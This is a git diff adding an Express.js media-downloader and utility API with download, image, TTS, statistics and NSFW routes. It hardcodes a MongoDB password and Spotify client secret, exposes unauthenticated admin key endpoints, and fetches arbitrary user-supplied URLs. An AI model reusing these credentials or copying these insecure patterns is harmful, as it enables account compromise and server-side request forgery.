res.status(400).json({ + creator: "David Cyril", + error: "Please provide the MediaFire URL in the `url` query parameter." + }); + } + + try { + const apiUrl = `https://api.agatz.xyz/api/mediafire?url=${encodeURIComponent(url)}`; + const response = await axios.get(apiUrl); + + if (response.data.status === 200 && response.data.data.length > 0) { + const fileData = response.data.data[0]; + + res.status(200).json({ + creator: "David Cyril", + fileName: fileData.nama, + mimeType: fileData.mime, + size: fileData.size, + downloadLink: fileData.link, + }); + } else { + res.status(404).json({ + creator: "David Cyril", + error: "File information could not be retrieved." + }); + } + } catch (error) { + console.error("Error fetching MediaFire file:", error.message); + res.status(500).json({ + creator: "David Cyril", + error: "An error occurred while processing your request." + }); + } +}); + + + + + + + + + +app.get('/record/convert', async (req, res) => { + const { url } = req.query; // Extract URL from query parameter + + if (!url) { + return res.status(400).json({ + creator: 'David Cyril Tech', + status: 400, + success: false, + error: 'Please provide a URL in the query parameter.' + }); + } + + try { + const result = await svweb.recording(url, 1, '--convert'); + res.json({ + creator: 'David Cyril Tech', + status: 200, + success: true, + filePath: result.filePath, + message: 'Video has been successfully saved.', + }); + } catch (error) { + res.status(500).json({ + creator: 'David Cyril Tech', + status: 500, + success: false, + error: error.message + }); + } +}); + +// Route for Video Recording (Raw Data) +app.get('/record/raw', async (req, res) => { + const { url } = req.query; // Extract URL from query parameter + + if (!url) { + return res.status(400).json({ + creator: 'David Cyril Tech', + status: 400, + success: false, + error: 'Please provide a URL in the query parameter.' + }); + } + + try { + const result = await svweb.recording(url, 1, '--unconvert'); + res.json({ + creator: 'David Cyril Tech', + status: 200, + success: true, + type: result.type, + data: result.data, + }); + } catch (error) { + res.status(500).json({ + creator: 'David Cyril Tech', + status: 500, + success: false, + error: error.message + }); + } +}); + + + + + + +const CREATOR = "David Cyril"; + +// Spotify API Credentials +const clientId = "0770a58ad3aa482c80602ee21a41df9d"; +const clientSecret = "f8b11f7a139f4abb89743c36ebebea4e"; + +// Function to Get Spotify Access Token +async function getAccessToken() { + try { + const authString = Buffer.from(`${clientId}:${clientSecret}`).toString("base64"); + const tokenEndpoint = "https://accounts.spotify.com/api/token"; + + const response = await axios.post( + tokenEndpoint, + "grant_type=client_credentials", + { + headers: { + "Content-Type": "application/x-www-form-urlencoded", + "Authorization": `Basic ${authString}`, + }, + } + ); + + return response.data.access_token; + } catch (error) { + console.error("Spotify Auth Error:", error.message); + return null; + } +} + +// Function to Search for a Song on Spotify +async function searchSong(songName, accessToken) { + try { + const searchEndpoint = `https://api.spotify.com/v1/search?q=${encodeURIComponent(songName)}&type=track`; + + const response = await axios.get(searchEndpoint, { + headers: { + "Authorization": `Bearer ${accessToken}`, + }, + }); + + return response.data.tracks.items.map(track => ({ + title: track.name, + duration: `${(track.duration_ms / 60000).toFixed(2)} min`, // Convert ms to minutes + popularity: `${track.popularity}%`, + preview: track.preview_url || "No preview available", + artist: track.artists.map(artist => artist.name).join(", "), + album: track.album.name, + url: track.external_urls.spotify, + })); + } catch (error) { + console.error("Spotify Search Error:", error.message); + return null; + } +} + +// API Endpoint to Search for a Song +app.get("/spotify-v2", async (req, res) => { + const { query } = req.query; + + if (!query) { + return res.status(400).json({ + creator: CREATOR, + status: 400, + success: false, + message: "Please provide a song name using the `query` parameter.", + }); + } + + const accessToken = await getAccessToken(); + if (!accessToken) { + return res.status(500).json({ + creator: CREATOR, + status: 500, + success: false, + message: "Failed to get Spotify access token.", + }); + } + + const results = await searchSong(query, accessToken); + if (!results || results.length === 0) { + return res.status(404).json({ + creator: CREATOR, + status: 404, + success: false, + message: "No songs found for the given query.", + }); + } + + res.json({ + creator: CREATOR, + status: 200, + success: true, + result: results, + }); +}); + + + + + + + + +const session_hash = Math.random().toString(36).slice(2); +const base = "https://rooc-flux-fast.hf.space"; + +const endpoints = { + join: `${base}/gradio_api/queue/join`, + dataStream: `${base}/gradio_api/queue/data?session_hash=${session_hash}` +}; + +async function fluxImage(prompt) { + try { + let payload = { + data: [prompt], + event_data: null, + fn_index: 0, + session_hash, + trigger_id: 10 + }; + + let { data } = await axios.post(endpoints.join, payload); + let event_id = data.event_id; + let imageUrl = null; + + const responseStream = await axios.get(endpoints.dataStream, { responseType: "stream" }); + + for await (const chunk of responseStream.data) { + let lines = chunk + .toString() + .split("\n") + .filter(line => line.startsWith("data: ")); + + for (let line of lines) { + let parsed = JSON.parse(line.replace("data: ", "")); + if (parsed.msg === "process_completed" && parsed.event_id === event_id) { + imageUrl = parsed.output.data[0].url; + break; + } + } + if (imageUrl) break; + } + + return imageUrl; + } catch (error) { + console.error("Error in Flux API:", error.message); + return null; + } +} + +// API Endpoint to Serve the Image Directly +app.get("/fluxpro", async (req, res) => { + const { prompt } = req.query; + + if (!prompt) { + return res.status(400).json({ + creator: "David Cyril Tech", + status: 400, + success: false, + message: "Please provide a `prompt` parameter." + }); + } + + const imageUrl = await fluxImage(prompt); + + if (imageUrl) { + try { + const imageResponse = await axios.get(imageUrl, { responseType: "arraybuffer" }); + + // Send image data + res.setHeader("Content-Type", "image/webp"); + res.send(imageResponse.data); + } catch (error) { + console.error("Error fetching image:", error.message); + res.status(500).json({ + creator: "David Cyril Tech", + status: 500, + success: false, + message: "Failed to fetch the generated image." + }); + } + } else { + res.status(500).json({ + creator: "David Cyril Tech", + status: 500, + success: false, + message: "Failed to generate image. Please try again." + }); + } +}); + + + + + + +async function generateBook(size, text) { + try { + let payload = { + color: "#000000", + font: "arch", + size: size, + text: text + }; + + let { data } = await axios.post("https://lemon-write.vercel.app/api/generate-book", payload, { + responseType: "arraybuffer" + }); + + return data; // Return image buffer + } catch (error) { + console.error("Error in Book Generator API:", error.message); + return null; + } +} + +// API Endpoint to Serve the Generated Book Image +app.get("/generate/book", async (req, res) => { + const { text, size } = req.query; + + if (!text || !size) { + return res.status(400).json({ + creator: "David Cyril Tech", + status: 400, + success: false, + message: "Please provide both `text` and `size` parameters." + }); + } + + const imageBuffer = await generateBook(Number(size), text); + + if (imageBuffer) { + res.setHeader("Content-Type", "image/jpeg"); + res.send(imageBuffer); + } else { + res.status(500).json({ + creator: "David Cyril Tech", + status: 500, + success: false, + message: "Failed to generate book image." + }); + } +}); + + + + + + +// 404 Handler +app.use((req, res) => { + res.status(404).sendFile(path.join(__dirname, 'public/404/index.html')); +}); + +// Start Server +app.listen(port, () => { + console.log(`Server running on port ${port}`); +}); diff --git a/index.js.bak b/index.js.bak new file mode 100644 index 0000000000000000000000000000000000000000..05328d786ea48f4b0efb210bfcda46cbe7aaf660 --- /dev/null +++ b/index.js.bak @@ -0,0 +1,5243 @@ +import fs from 'fs'; +import os from 'os'; +import qs from 'qs'; +import http from 'http'; +import express from 'express'; +import FormData from "form-data"; +import ytSearch from "yt-search"; +import path from 'path'; + import axios from 'axios'; + + import translate from "@vitalets/google-translate-api"; +import crypto from 'crypto'; +import { v4 as uuidv4 } from "uuid"; + +import QRCode from "qrcode"; + +import { fileURLToPath } from 'url'; +import dotenv from 'dotenv'; +import { Mp3, + Mp4, + tiktokdl, + Lyrics, + ddownr, + svweb, + chatbot } from './exports/index.js'; + +const __filename = fileURLToPath(import.meta.url), + __dirname = path.dirname(__filename); +dotenv.config({ path: path.join(__dirname, '.env') }); + +const app = express(); +app.use(express.json()); +const serverStartTime = Date.now(); + +const port = process.env.PORT || 3000; +app.enable('trust proxy'); +app.set('json spaces', 2); +app.use(express.static(path.join(__dirname, 'public'))); +import cors from 'cors'; +app.use(cors()); + +import mongoose from 'mongoose'; + + + +mongoose.set('strictQuery', false); + +const uri = "mongodb+srv://davidcyril209:85200555dcx@david.sfonwmo.mongodb.net/test?retryWrites=true&w=majority"; +mongoose.connect(uri, { useNewUrlParser: true, useUnifiedTopology: true }) + .then(() => console.log("Connected to MongoDB Atlas!")) + .catch(err => console.error("Connection error:", err)); + + +import bcrypt from 'bcrypt'; +import User from './exports/User.js'; // Use the full path with the `.js` extension'; // Ensure the file extension is included for ES modules + +import bodyParser from 'body-parser'; + + + +// Middleware +app.use(bodyParser.urlencoded({ extended: true })); +app.use(express.static("public")); + + +import session from 'express-session'; + + + +// Serve Registration Page +app.get("/register", (req, res) => { + res.sendFile(path.join(__dirname, "public/html/register.html")); +}); + +// Serve Login Page +app.get("/login", (req, res) => { + res.sendFile(path.join(__dirname, "public/html/login.html")); +}); + +// Serve Dashboard Page +app.get("/dashboard", (req, res) => { + if (!req.session.username) { + return res.redirect("/login?error=Please login first."); + } + res.sendFile(path.join(__dirname, "public/html/dashboard.html")); +}); + + + +import flash from 'express-flash' ; + + +// Middleware for sessions +app.use( + session({ + secret: 'your-secret-key', // Replace with a strong secret key + resave: false, + saveUninitialized: true, + }) +); + +// Middleware for flash messages +app.use(flash()); + +// Route for registration +app.post('/register', (req, res) => { + const { username, password } = req.body; + + // Example: Validation and registration logic + if (!username || !password) { + req.flash('error', 'All fields are required!'); + return res.redirect('/register'); + } + + // Simulating successful registration + req.flash('success', 'Registration successful! You can now log in.'); + res.redirect('/login'); +}); + +// Route for rendering the register page +app.get('/register', (req, res) => { + res.render('register', { + error: req.flash('error'), + success: req.flash('success'), + }); +}); + +// Handle Login +app.post("/login", async (req, res) => { + const { username, password } = req.body; + + try { + // Check if the user exists + const user = await User.findOne({ username }); + if (!user) { + return res.redirect("/login?error=User not found"); + } + + // Compare the password + const isPasswordValid = await bcrypt.compare(password, user.password); + if (!isPasswordValid) { + return res.redirect("/login?error=Invalid credentials"); + } + + // Save username in session and redirect to dashboard + req.session.username = user.username; + res.redirect("/dashboard"); + } catch (err) { + console.error(err); + res.redirect("/login?error=Login failed. Please try again."); + } +}); + +// Handle Logout +app.get("/logout", (req, res) => { + req.session.destroy(() => { + res.redirect("/login?success=You have logged out successfully."); + }); +}); + + + + + + + + + + + + +// Middleware to parse JSON and form data + + + +// Serve static files (HTML, CSS, JS) from the "store" folder +app.use(express.static(path.join(__dirname, 'store'))); + +// Load valid keys from keys.json +const keysFilePath = path.join(__dirname, 'keys.json'); +let keys = JSON.parse(fs.readFileSync(keysFilePath, 'utf-8')); + +// In-memory store for temporary links (to track expiration) +const tempLinks = {}; + +// API endpoint to validate keys +app.post('/api/validate-key', (req, res) => { + const { key, codeId } = req.body; + + if (!key || !codeId) { + return res.status(400).json({ success: false, message: 'Key or Code ID missing' }); + } + + // Check if the key exists + if (!keys.includes(key)) { + return res.status(403).json({ success: false, message: 'Invalid key' }); + } + + // Generate a secure unique token for the temporary link + const token = crypto.randomBytes(16).toString('hex'); + const tempLink = `/store/temp/${token}-${codeId}.js`; + + // Write the temporary file content (for demo purposes) + const tempFilePath = path.join(__dirname, tempLink); + fs.writeFileSync(tempFilePath, `// This is the content of ${codeId}`, 'utf-8'); + + // Store the temporary link with expiration time + tempLinks[token] = { + path: tempFilePath, + expiresAt: Date.now() + 5 * 60 * 1000, // Expires in 5 minutes + }; + + // Set a timeout to delete the temporary file and remove the link + setTimeout(() => { + if (fs.existsSync(tempFilePath)) { + fs.unlinkSync(tempFilePath); + } + delete tempLinks[token]; + }, 5 * 60 * 1000); // 5 minutes + + // Send the temporary link back to the client + return res.status(200).json({ success: true, link: tempLink }); +}); + +// Serve temporary files securely +app.get('/store/temp/:token-:codeId.js', (req, res) => { + const { token, codeId } = req.params; + + // Check if the token exists and hasn't expired + const tempLinkData = tempLinks[token]; + if (!tempLinkData || Date.now() > tempLinkData.expiresAt) { + return res.status(404).send('Temporary file not found or expired.'); + } + + // Send the temporary file + res.sendFile(tempLinkData.path); +}); + +// Admin endpoint to add a new key +app.post('/api/add-key', (req, res) => { + const { newKey } = req.body; + + if (!newKey) { + return res.status(400).json({ success: false, message: 'New key is required' }); + } + + if (keys.includes(newKey)) { + return res.status(409).json({ success: false, message: 'Key already exists' }); + } + + // Add the new key and save to keys.json + keys.push(newKey); + fs.writeFileSync(keysFilePath, JSON.stringify(keys, null, 2), 'utf-8'); + + return res.status(200).json({ success: true, message: 'Key added successfully' }); +}); + +// Admin endpoint to remove a key +app.post('/api/remove-key', (req, res) => { + const { keyToRemove } = req.body; + + if (!keyToRemove) { + return res.status(400).json({ success: false, message: 'Key to remove is required' }); + } + + if (!keys.includes(keyToRemove)) { + return res.status(404).json({ success: false, message: 'Key not found' }); + } + + // Remove the key and save to keys.json + keys = keys.filter((key) => key !== keyToRemove); + fs.writeFileSync(keysFilePath, JSON.stringify(keys, null, 2), 'utf-8'); + + return res.status(200).json({ success: true, message: 'Key removed successfully' }); +}); + + + + + + + + +const byteToKB = 1 / 1024, + byteToMB = 1 / Math.pow(1024, 2), + byteToGB = 1 / Math.pow(1024, 3); + +// Utility Functions +function formatBytes(bytes) { + if (bytes >= Math.pow(1024, 3)) { + return (bytes * byteToGB).toFixed(2) + ' GB'; + } else if (bytes >= Math.pow(1024, 2)) { + return (bytes * byteToMB).toFixed(2) + ' MB'; + } else if (bytes >= 1024) { + return (bytes * byteToKB).toFixed(2) + ' KB'; + } else { + return bytes.toFixed(2) + ' bytes'; + } +} + +function runtime(seconds) { + seconds = Number(seconds); + const d = Math.floor(seconds / (3600 * 24)), + h = Math.floor((seconds % (3600 * 24)) / 3600), + m = Math.floor((seconds % 3600) / 60), + s = Math.floor(seconds % 60), + dDisplay = d > 0 ? d + (d === 1 ? ' day, ' : ' days, ') : '', + hDisplay = h > 0 ? h + (h === 1 ? ' hour, ' : ' hours, ') : '', + mDisplay = m > 0 ? m + (m === 1 ? ' minute, ' : ' minutes, ') : '', + sDisplay = s > 0 ? s + (s === 1 ? ' second' : ' seconds') : ''; + return dDisplay + hDisplay + mDisplay + sDisplay; +} + + + + + + + + + + +import sqlite3 from 'sqlite3'; +const db = new sqlite3.Database('./visitors.db'); + +// Initialize Tables +function initializeTables() { + // Create Visitors Table + const createVisitorsTable = ` + CREATE TABLE IF NOT EXISTS visitors ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + date TEXT NOT NULL, + total_visitors INTEGER NOT NULL DEFAULT 0, + today_visitors INTEGER NOT NULL DEFAULT 0 + ) + `; + + // Create Requests Table + const createRequestsTable = ` + CREATE TABLE IF NOT EXISTS requests ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + total_requests INTEGER NOT NULL DEFAULT 0 + ) + `; + + db.run(createVisitorsTable, (err) => { + if (err) { + console.error("Error creating visitors table:", err.message); + process.exit(1); + } else { + console.log("Visitors table is ready."); + initializeTodayRow(); + } + }); + + db.run(createRequestsTable, (err) => { + if (err) { + console.error("Error creating requests table:", err.message); + process.exit(1); + } else { + console.log("Requests table is ready."); + initializeTotalRequests(); + } + }); +} + +// Initialize Today's Row in Visitors Table +function initializeTodayRow() { + const today = new Date().toISOString().split('T')[0]; + db.get('SELECT * FROM visitors WHERE date = ?', [today], (err, row) => { + if (err) { + console.error("Error checking today's data:", err.message); + } else if (!row) { + db.run( + 'INSERT INTO visitors (date, total_visitors, today_visitors) VALUES (?, ?, ?)', + [today, 0, 0], + (err) => { + if (err) console.error("Error initializing today's data:", err.message); + else console.log("Initialized today's data in visitors table."); + } + ); + } + }); +} + +// Initialize Total Requests +function initializeTotalRequests() { + db.get('SELECT * FROM requests', (err, row) => { + if (err) { + console.error("Error initializing requests table:", err.message); + } else if (!row) { + db.run('INSERT INTO requests (total_requests) VALUES (0)', (err) => { + if (err) console.error("Error initializing total requests:", err.message); + else console.log("Initialized requests table."); + }); + } + }); +} + +// Visitor Count Endpoint +app.get('/countd', (req, res) => { + const today = new Date().toISOString().split('T')[0]; + + // Increment total requests + db.run('UPDATE requests SET total_requestss = total_requestsss + 1', (err) => { + if (err) { + console.error("Error updating total requests:", err.message); + return res.status(500).json({ + creator: "David Cyril", + error: "Failed to update total requests.", + }); + } + + // Update visitor data for today + db.get('SELECT * FROM visitors WHERE date = ?', [today], (err, row) => { + if (err) { + console.error('Error retrieving visitor data:', err.message); + return res.status(500).json({ + creator: "David Cyril", + error: "Failed to retrieve visitor data.", + }); + } + + const updatedTodayVisitors = (row ? row.today_visitors : 0) + 1; + const updatedTotalVisitors = (row ? row.total_visitors : 0) + 1; + + db.run( + 'UPDATE visitors SET today_visitors = ?, total_visitors = ? WHERE date = ?', + [updatedTodayVisitors, updatedTotalVisitors, today], + (err) => { + if (err) { + console.error("Error updating visitor data:", err.message); + return res.status(500).json({ + creator: "David Cyril", + error: "Failed to update visitor data.", + }); + } + + // Fetch total requests to include in the response + db.get('SELECT total_requestss FROM requests', (err, requestRow) => { + if (err) { + console.error("Error retrieving total requests:", err.message); + return res.status(500).json({ + creator: "David Cyril", + error: "Failed to retrieve total requests.", + }); + } + + res.json({ + creator: "David Cyril", + total_visitors: updatedTotalVisitors, + today_visitors: updatedTodayVisitors, + total_requestss: requestRow.total_requestss, + }); + }); + } + ); + }); + }); +}); + +// Initialize Tables Before Starting the Server +initializeTables(); + + + +// Status Endpoint +app.get('/status', (req, res) => { + const uptimeSeconds = Math.floor((Date.now() - serverStartTime) / 1000), + totalMemoryBytes = os.totalmem(), + freeMemoryBytes = os.freemem(), + clientIP = req.ip || req.connection.remoteAddress; + res.json({ + runtime: runtime(uptimeSeconds), + memory: `${formatBytes(freeMemoryBytes)} / ${formatBytes(totalMemoryBytes)}`, + yourip: clientIP, + }); +}); + +import Stats from './exports/Stats.js'; // Adjust path if necessary + +async function initializeStats() { + try { + const stats = await Stats.findOne(); + if (!stats) { + await Stats.create({ total_requests: 0 }); + console.log('Initialized stats in MongoDB.'); + } else { + console.log('Stats already initialized.'); + } + } catch (error) { + console.error('Error initializing stats:', error.message); + process.exit(1); + } +} + +// Call this function before starting the server +initializeStats(); + +app.get('/stats', async (req, res) => { + try { + const stats = await Stats.findOne(); + res.json({ + creator: "David Cyril", + total_requests: stats.total_requests, + }); + } catch (error) { + console.error('Error retrieving stats:', error.message); + res.status(500).json({ error: "Failed to retrieve stats." }); + } +}); + +app.get('/count', async (req, res) => { + try { + const stats = await Stats.findOne(); + stats.total_requests += 1; + await stats.save(); + + res.json({ + creator: "David Cyril", + total_requests: stats.total_requests, + }); + } catch (error) { + console.error('Error updating stats:', error.message); + res.status(500).json({ error: "Failed to update stats." }); + } +}); + + + +app.use(express.json()); + + + + + + + +app.get('/download/ytmp3', async (req, res) => { + const { url } = req.query; + if (!url) { + return res.status(400).json({ + creator: 'David Cyril Tech', + status: 400, + success: false, + message: 'Please provide a valid YouTube video URL using the `url` query parameter.', + }); + } + + try { + const result = await ddownr.download(url, 'mp3'); + + const { downloadUrl, title, thumbnail } = result; + + res.json({ + creator: 'David Cyril Tech', + status: 200, + success: true, + result: { + type: 'audio', + quality: '128kbps', + title: title || 'Unknown Title', + thumbnail: thumbnail || `https://img.youtube.com/vi/${extractYouTubeID(url)}/hqdefault.jpg`, + download_url: downloadUrl, + }, + }); + } catch (error) { + console.error('Error processing YouTube MP3 request:', error.message); + + res.status(500).json({ + creator: 'David Cyril Tech', + status: 500, + success: false, + message: 'An unexpected error occurred while processing the request. Please try again later.', + }); + } +}); + +// Helper function to extract YouTube video ID from URL +function extractYouTubeID(url) { + const match = url.match(/(?:https?:\/\/)?(?:www\.)?(?:youtube\.com\/(?:[^/]+\/.+\/|(?:v|e(?:mbed)?)\/|.*[?&]v=)|youtu\.be\/)([^"&?/\s]{11})/); + return match ? match[1] : null; +} + + + + + +const formatAudio = ["mp3", "m4a", "webm", "acc", "flac", "opus", "ogg", "wav"]; +const formatVideo = ["360", "480", "720", "1080", "1440", "4k"]; + +// Helper function to check progress +async function cekProgress(id) { + const configProgress = { + method: "GET", + url: `https://p.oceansaver.in/ajax/progress.php?id=${id}`, + headers: { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", + "Accept": "application/json, text/plain, */*", + "Connection": "keep-alive", + "X-Requested-With": "XMLHttpRequest", + }, + }; + + while (true) { + const response = await axios.request(configProgress); + if (response.data && response.data.success && response.data.progress === 1000) { + return response.data.download_url; + } + await new Promise((resolve) => setTimeout(resolve, 5000)); // Poll every 5 seconds + } +} + +// Main downloader function +async function ytdlv2(url, format) { + if (!formatAudio.includes(format) && !formatVideo.includes(format)) { + throw new Error("Invalid format. Please check the list of valid formats."); + } + + const configDownload = { + method: "GET", + url: `https://p.oceansaver.in/ajax/download.php?format=${format}&url=${encodeURIComponent(url)}&api=dfcb6d76f2f6a9894gjkege8a4ab232222`, + headers: { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", + "Accept": "application/json, text/plain, */*", + "Connection": "keep-alive", + "X-Requested-With": "XMLHttpRequest", + }, + }; + + const response = await axios.request(configDownload); + + if (response.data && response.data.success) { + const { id, title, info } = response.data; + const { image } = info; + + const downloadUrl = await cekProgress(id); + + return { + id: id, + image: image, + title: title, + downloadUrl: downloadUrl, + }; + } + + throw new Error("Failed to fetch video details."); +} + +app.get('/facebook', async (req, res) => { + const { url } = req.query; + + if (!url) { + return res.status(400).json({ error: 'URL parameter is required' }); + } + + try { + const response = await axios.get(`https://api.paxsenix.biz.id/dl/fb`, { + params: { url }, + }); + + const data = response.data; + + if (!data.ok || !data.url) { + return res.status(400).json({ error: 'Failed to fetch video details' }); + } + + // Restructure the API response with custom creator name + const result = { + creator: "David Cyril", + status: 200, + success: true, + video: { + thumbnail: data.cover, + downloads: data.url.map(video => ({ + quality: video.quality, + downloadUrl: video.downloadUrl, + })), + }, + }; + + return res.json(result); + } catch (error) { + console.error('Error fetching data:', error.message); + return res.status(500).json({ error: 'An error occurred while processing the request' }); + } +}); + + +app.get("/download/ytmp4", async (req, res) => { + const { url, format = "720" } = req.query; // Default to 720p if format isn't provided + + if (!url) { + return res.status(400).json({ + creator: "David Cyril", + status: 400, + success: false, + message: "Please provide a valid YouTube video URL using the `url` query parameter.", + }); + } + + try { + // Call the new API + const response = await axios.get(`https://ytdl.siputzx.my.id/api/convert?url=${encodeURIComponent(url)}&type=mp4`); + + if (!response.data || !response.data.dl) { + return res.status(500).json({ + creator: "David Cyril", + status: 500, + success: false, + message: "Failed to fetch download link. Please try again later.", + }); + } + + // Return response in the old format + res.json({ + creator: "David Cyril", + status: 200, + success: true, + result: { + type: "video", + quality: `${format}p`, + title: response.data.title, + thumbnail: `https://img.youtube.com/vi/${url.split("v=")[1]}/hqdefault.jpg`, + download_url: response.data.dl, + }, + }); + } catch (error) { + console.error("Error processing YouTube MP4 request:", error.message); + + res.status(500).json({ + creator: "David Cyril", + status: 500, + success: false, + message: "An unexpected error occurred while processing the request. Please try again later.", + }); + } +}); + + + + + + + + + +const fdown = { + getToken: async () => { + try { + const response = await axios.get('https://fdown.net', { + headers: { + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', + 'Accept': 'text/html,application/xhtml+xml', + } + }); + + const $ = cheerio.load(response.data); + return { + token_v: $('input[name="token_v"]').val(), + token_c: $('input[name="token_c"]').val(), + token_h: $('input[name="token_h"]').val() + }; + } catch (error) { + console.error('Error fetching tokens:', error.message); + return null; + } + }, + + download: async (url) => { + const tokens = await fdown.getToken(); + if (!tokens) return null; + + const formData = qs.stringify({ + 'URLz': url, + 'token_v': tokens.token_v, + 'token_c': tokens.token_c, + 'token_h': tokens.token_h + }); + + try { + const response = await axios.post('https://fdown.net/download.php', formData, { + headers: { + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', + 'Content-Type': 'application/x-www-form-urlencoded' + } + }); + + const $ = cheerio.load(response.data); + const video = { + title: $('#result .lib-header').text().trim() || "Unknown Title", + description: $('#result .lib-desc').first().text().replace('Description:', '').trim() || "No Description", + duration: $('#result .lib-desc').last().text().replace('Duration:', '').trim() || "Unknown", + thumbnail: $('#result .lib-img-show').attr('data-cfsrc') || $('#result .lib-img-show').attr('src') || null, + downloads: [] + }; + + const normalQualityLink = $('#sdlink').attr('href'); + const hdQualityLink = $('#hdlink').attr('href'); + + if (normalQualityLink) { + video.downloads.push({ quality: 'SD', downloadUrl: normalQualityLink }); + } + if (hdQualityLink) { + video.downloads.push({ quality: 'HD', downloadUrl: hdQualityLink }); + } + + return video; + } catch (error) { + console.error('Error downloading video:', error.message); + return null; + } + } +}; + + +const categories = [ + "genshin", "swimsuit", "schoolswimsuit", "white", "barefoot", "touhou", "gamecg", + "hololive", "uncensored", "sungglasses", "glasses", "weapon", "shirtlift", "chain", + "fingering", "flatchest", "torncloth", "bondage", "demon", "pantypull", "headdress", + "headphone", "anusview", "shorts", "stokings", "topless", "beach", "bunnygirl", + "bunnyear", "vampire", "nobra", "bikini", "whitehair", "blonde", "pinkhair", "bed", + "ponytail", "nude", "dress", "underwear", "foxgirl", "uniform", "skirt", "breast", + "twintail", "spreadpussy", "seethrough", "breasthold", "fateseries", "spreadlegs", + "openshirt", "headband", "nipples", "erectnipples", "greenhair", "wolfgirl", "catgirl" +]; + +// Main NSFW Route +app.get("/nsfw", async (req, res) => { + const { category } = req.query; + + // If no category, show available categories + if (!category) { + return res.json({ + creator: "David Cyril", + success: true, + message: "Available categories", + categories: categories + }); + } + + // Check if the category is valid + if (!categories.includes(category.toLowerCase())) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Invalid category. Use /nsfw to see available categories." + }); + } + + try { + // Fetch image URL from external API + const response = await axios.get(`https://fantox-apis.vercel.app/${category}`); + if (!response.data || !response.data.url) { + return res.status(404).json({ + creator: "David Cyril", + success: false, + message: "No image found for this category." + }); + } + + // Redirect browser to the image URL (Displays image directly) + return res.redirect(response.data.url); + + } catch (error) { + console.error("Error fetching NSFW image:", error.message); + return res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An error occurred while processing your request." + }); + } +}); + + + +app.get("/random/technews", async (req, res) => { + try { + const response = await axios.get("https://bk9.fun/details/tnews"); + const newsData = response.data.BK9; + + if (!newsData) { + return res.status(404).json({ + creator: "David Cyril", + status: false, + message: "No tech news found." + }); + } + + res.json({ + creator: "David Cyril", + status: true, + result: { + title: newsData.title, + link: newsData.link, + image: newsData.img, + description: newsData.desc + } + }); + } catch (error) { + console.error("Error fetching tech news:", error.message); + res.status(500).json({ + creator: "David Cyril", + status: false, + message: "An error occurred while fetching tech news." + }); + } +}); + +app.get("/tts", async (req, res) => { + const { text, voice } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + error: "Please provide the text in the `text` query parameter." + }); + } + + if (!voice) { + try { + // Fetch available voices from the API + const response = await axios.get("https://api.paxsenix.biz.id/tools/tts?text=test"); + + if (!response.data.ok) { + throw new Error("Failed to fetch available voices"); + } + + return res.status(400).json({ + creator: "David Cyril", + error: "Please provide the voice in the `voice` query parameter.", + availableVoices: response.data.available_voices + }); + } catch (error) { + console.error("Error fetching available voices:", error.message); + return res.status(500).json({ + creator: "David Cyril", + error: "An error occurred while fetching available voices." + }); + } + } + + try { + const apiUrl = `https://api.paxsenix.biz.id/tools/tts?text=${encodeURIComponent( + text + )}&voice=${encodeURIComponent(voice)}`; + + const response = await axios.get(apiUrl); + + if (response.data.ok) { + res.status(200).json({ + creator: "David Cyril", + status: 200, + success: true, + audioUrl: response.data.directUrl + }); + } else { + res.status(400).json({ + creator: "David Cyril", + error: "The voice you selected is not available. Please choose a valid voice.", + availableVoices: response.data.available_voices + }); + } + } catch (error) { + console.error("Error generating TTS:", error.message); + res.status(500).json({ + creator: "David Cyril", + error: "An error occurred while processing your request." + }); + } +}); + + +app.get("/tools/stackoverflow_details", async (req, res) => { + const { url } = req.query; + + if (!url) { + return res.status(400).json({ + creator: "David Cyril", + status: false, + message: "Please provide a valid Stack Overflow URL." + }); + } + + try { + const response = await axios.get(url); + const $ = cheerio.load(response.data); + + // Extract data from Stack Overflow page + const title = $("h1.fs-headline1").text().trim(); + const image = "https://cdn.sstatic.net/Sites/stackoverflow/Img/apple-touch-icon.png?v=c78bd457575a"; + const content = $(".js-post-body").first().text().trim(); + const time = $("time").first().text().trim(); + const author = $(".user-details a").first().text().trim(); + const questions = $(".post-tag").map((i, el) => $(el).text()).get(); + + if (!title || !content) { + return res.status(404).json({ + creator: "David Cyril", + status: false, + message: "Failed to fetch Stack Overflow details." + }); + } + + // Construct response + res.json({ + creator: "David Cyril", + status: true, + BK9: { + title: title, + link: url, + image: image, + content: content, + time: time || "Unknown", + author: author || "Unknown", + questions: questions || [] + } + }); + + } catch (error) { + console.error("Error fetching Stack Overflow details:", error.message); + res.status(500).json({ + creator: "David Cyril", + status: false, + message: "An error occurred while processing your request." + }); + } +}); + +app.get('/facebook2', async (req, res) => { + const { url } = req.query; + + if (!url) { + return res.status(400).json({ + creator: "David Cyril", + status: false, + message: "Please provide a valid Facebook video URL." + }); + } + + try { + const response = await axios.get(`https://api.agatz.xyz/api/facebook`, { + params: { url } + }); + + const data = response.data.data; + + if (!data || (!data.sd && !data.hd)) { + return res.status(500).json({ + creator: "David Cyril", + status: false, + message: "Failed to fetch video details. Please try again later." + }); + } + + // Maintain old API response structure + res.json({ + creator: "David Cyril", + status: true, + video: { + title: data.title || "No title available", + thumbnail: data.thumbnail || null, + downloads: [ + data.sd ? { quality: "SD", downloadUrl: data.sd } : null, + data.hd ? { quality: "HD", downloadUrl: data.hd } : null + ].filter(Boolean) + } + }); + + } catch (error) { + console.error('Error fetching Facebook video:', error.message); + res.status(500).json({ + creator: "David Cyril", + status: false, + message: "An error occurred while processing your request." + }); + } +}); + + + +app.get("/spotifydl", async (req, res) => { + const { url } = req.query; + + if (!url) { + return res.status(400).json({ + creator: "David Cyril", + error: "Please provide the Spotify URL in the `url` query parameter." + }); + } + + try { + const apiUrl = `https://api.agatz.xyz/api/spotifydl?url=${encodeURIComponent(url)}`; + const response = await axios.get(apiUrl); + + if (response.data.status === 200) { + const spotifyData = JSON.parse(response.data.data); + + 